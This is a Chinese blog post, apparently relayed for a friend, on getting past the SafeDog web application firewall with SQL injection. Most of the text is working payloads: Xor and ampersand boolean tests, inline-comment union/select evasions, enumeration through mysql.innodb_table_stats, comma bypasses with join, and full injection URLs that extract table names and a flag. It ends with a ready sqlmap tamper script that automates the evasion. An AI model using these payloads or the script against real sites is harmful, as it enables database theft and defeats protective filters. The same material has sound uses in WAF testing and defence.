当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
本文是朋友所写,帮忙转发。
还有,本次搭建的环境第一关,好像有点问题,大家可以使用其它环境来尝试,我们这里尝试的就是看看狗能不能绕过
免费狗2020年4月份 4.0最新版本绕过姿势
0x01 绕狗
加单引号 ,狗不拦截
1)and 1=1 拦截绕过
使用 %26%26 True 和 %26%26 False
%26=&
&=and
使用Xor True 和 Xor False 也不拦
使用 & 符号绕过
'&1--+ 用&号来替代and 来判断,发现页面返回正常
'%262--+,页面回显不正常
或'%260--+
'%26true--+
'%26false--+
' and -7=-7--+
' and -7=-5--+
内敛注释:
' and /*!1=1*/--+
' and /*!1=2*/--+
2)Xor 同价,也可以绕过
'Xor 1--+
'Xor 0--+
'Xor true--+
'Xor false--+
3)截取字符串绕过
'xor(length(database/**/())=7)--+
'xor(length(database/**/())=8)--+
'%26(length(database/**/())=8)--+
'%26(length(database/**/())=7)--+
通过BurpSuite 快速注入
放到intruder 模块
清除标记
添加标记变量
for i in range(1,3000) :
print(i)
Load 添加生成的字典
根据返回的不同字段长度判断
看到返回是53
或
'%26(ascii(@@version)=53)--+
4)order by 绕过
' order order by 1--+
' order%23%0aby 1--+
内敛注释加注释绕过:
' /*!order/*!/*/**/by*/ 1--+
' /*!11440order*/ by 1--+
5)union select 绕过
' union select database()--+
'/*!union/*!/*/**/*/select/**/1,2,3--+
'/*!union/*!/*/**/*//*!select/*!/*/**/*/1,2,3--+
'/*!11440union*//*!11440select*/1,2,3--+
6)绕过系统函数
'/*!11440union*//*!11440select*/1,2,database()--+
'/*!11440union*//*!11440select*/1,2,database%23%0a()
'/*!11440union*//*!11440select*/1,2,(/*!11440select*//**//*!database*/%23%0a())--+
'/*!11440union*//*!11440select*/1,2,(/*!11440select*//**//*!database*/%0a())--+
'/*!11440union*//*!11440select*/1,2,database()--+
空格、%0a~%20 类似绕过空格、注释符、内敛注释 已无法绕过
'/*!11440union*//*!11440select*/1,2,database ()--+
'/*!11440union*//*!11440select*/1,2,database%23%0a()--+
... ...
'/*!11440union*//*!11440select*/1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
'/*!11440union*//*!11440select*/1,2,group_concat(table_name) from information_schema.tables where table_schema=database%23%0a()--+
Mysql>5.6.xmysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测
Mysql 开发团队在 5.5.x 版本后将 innodb 作为数据库的默认引擎。
Mysql>5.6.x mysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。
以下内容来自:
查看两个表的内容
这两个表是用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录这里主要用到的是 innodb_table_stats这个表,利用方式: 查库名
查库名
select database_name from mysql.innodb_table_stats group by database_name;
查表名
select table_name from mysql.innodb_table_stats where database_name=database();
但是因为数据库中并没有字段名,所以无法查询字段,接下来将以下如何在不知道列名的情况下,获取数据:
在不知道字段名(列名)的情况下进行sql注入
新建一个表
将列名转换为任何可选的已知值,可以用SQL将其转换为:
select 1,2,3 union select * from user;
通过别名,引用列名:
select `2` from (select 1,2,3 union select * from user)x;
最后查询到所有数据:
select group_concat(`2`) from (select 1,2,3 union select * from user)x;
还ban掉了逗号,所以这里用join绕过:
join 以及from for 绕过逗号
有这样一个表:
正常注入:
如果被ban掉逗号,这里用join绕过
select id,username,password from user union select * from ((select 1)a join (select 2)b join (select 3)c);
最终payload为:
--获取表名
http://127.0.0.1/article.php?id=200'union/**/select * from ((select 1)A join (select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())B join (select 3)C join (select 4)D)%23
--获取flag
http://127.0.0.1/article.php?id=200'union/**/select * from ((select 1)A join (select group_concat(`3`) from (select * from (select 1)A join (select 2)B join (select 3)C union/**/select * from `fl111aa44a99g`)a)B join (select 3)C join (select 4)D)%23
0x02 总结
以下内容来自先知文章,以上有些Payload 可以按照自己的需求更改,我懒,我就不改了。
有几个万能绕过的payload:
狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:
#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
最后附上tamper脚本:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
payload=payload.replace("AND","/*!AND/*!/*/**/*/")
payload=payload.replace("OR","/*!OR/*!/*/**/*/")
payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")
return payload
参考链接:
虽然我们生活在阴沟里,但依然有人仰望星空!